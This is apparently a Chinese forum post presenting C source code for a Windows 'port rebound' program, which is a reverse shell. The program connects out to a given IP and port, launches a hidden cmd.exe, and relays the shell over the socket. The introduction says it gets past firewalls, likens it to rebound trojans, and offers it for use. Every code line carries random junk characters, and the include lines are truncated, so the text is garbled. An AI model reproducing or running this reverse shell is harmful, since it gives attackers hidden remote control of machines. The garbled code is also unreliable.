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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q)ns ui(  
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/* ============================== w)hH8jx{  
Rebound port in Windows NT GuV.7&!x  
By wind,2006/7 ,y+}0q-Ou  
===============================*/ v{Rj,Ou  
#include /Y>$w$S  
#include !4(X9}a  
4[ 7) $  
#pragma comment(lib,"wsock32.lib") K6=i\   
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void OutputShell(); <&+\X6w[  
SOCKET sClient; ,p,$(V  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J\BTrN7  
;e>pu"#  
void main(int argc,char **argv) o-))R| ~z  
{ 8 pQx6QE  
WSADATA stWsaData; \C )S3!h  
int nRet; ?4kM5NtP  
SOCKADDR_IN stSaiClient,stSaiServer; t@`w}o[#  
DRn]>IFU  
if(argc != 3)  IwfJDJJ  
{ 8<Y*@1*j  
printf("Useage:\n\rRebound DestIP DestPort\n"); W?n)IBj8  
return; .@  3  
} tf VK  
JFyw,p&xB  
WSAStartup(MAKEWORD(2,2),&stWsaData); {*Ag[HS0u  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CBqeO@M  
^*{:;F@  
stSaiClient.sin_family = AF_INET; 1gA9h-'w  
stSaiClient.sin_port = htons(0); Qd %U(|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w$X"E*~>8  
DcO$&)Eb  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }-ly'4=l  
{ #^+C k HX  
printf("Bind Socket Failed!\n"); A{HP*x~t  
return; xH\#:DLY  
} P;V$%r`yD  
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stSaiServer.sin_family = AF_INET; R|jt mI?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); s+@+<QE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (9#$za>  
*?2aIz"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) &DX&*Xq2  
{ /Ria"lLv  
printf("Connect Error!"); % Rv ;e  
return; e;M#MkP7  
} 8QYP\7}o  
OutputShell(); J <"=c z$  
} )(?,1>k`Z  
+ [JvpDv%  
void OutputShell() ^/0c`JG!x  
{ AG3iKk??T  
char szBuff[1024]; 4O TuX!  
SECURITY_ATTRIBUTES stSecurityAttributes; r~K5jL%z9  
OSVERSIONINFO stOsversionInfo; ZU=om Rh5  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xppl6v(  
STARTUPINFO stStartupInfo; BwLggo  
char *szShell; i#&iT P`  
PROCESS_INFORMATION stProcessInformation; r%craf  
unsigned long lBytesRead; I`$"6 Xy  
ma +iIt;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1BA/$8G  
Ihd{ @6m  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8=GgTpO5  
stSecurityAttributes.lpSecurityDescriptor = 0; JE a~avyJ  
stSecurityAttributes.bInheritHandle = TRUE; tJ"8"T#6Vr  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `b11,lg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !mjrI "_  
Jv,*rQH  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^\ N@qL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #~_ZG% u  
stStartupInfo.wShowWindow = SW_HIDE; |61W-9;  
stStartupInfo.hStdInput = hReadPipe; 5f~49(v]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }{R?i,j(  
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GetVersionEx(&stOsversionInfo); m-< "`:+  
X,] E {  
switch(stOsversionInfo.dwPlatformId) LU-,B?1  
{ YB`;<+sY  
case 1: '`)r<lYN,  
szShell = "command.com"; T J!d 7  
break; A~@u#]]<n  
default: (~6D`g`B  
szShell = "cmd.exe"; W~!uSrY  
break; lYF~CNvE  
} m@Q%)sc)  
c%jW'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ezq<)gJc  
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send(sClient,szMsg,77,0); G1=/G  
while(1) u l-A'  
{ (GeOD V?U  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); hxB` hu-  
if(lBytesRead) `kRv+Qwfa  
{ e5s=@-[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); W$>AK_Y}  
send(sClient,szBuff,lBytesRead,0); wN+3OPM  
} tL#]G?0d  
else pV^(8!+  
{ &OM e'P  
lBytesRead=recv(sClient,szBuff,1024,0); e5GJ:2sH  
if(lBytesRead<=0) break; <o aVI?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vx~N`|yY  
} # :)yh]MP  
} pX/42W  
)y .1}R2[  
return; 7m<;"e)  
}
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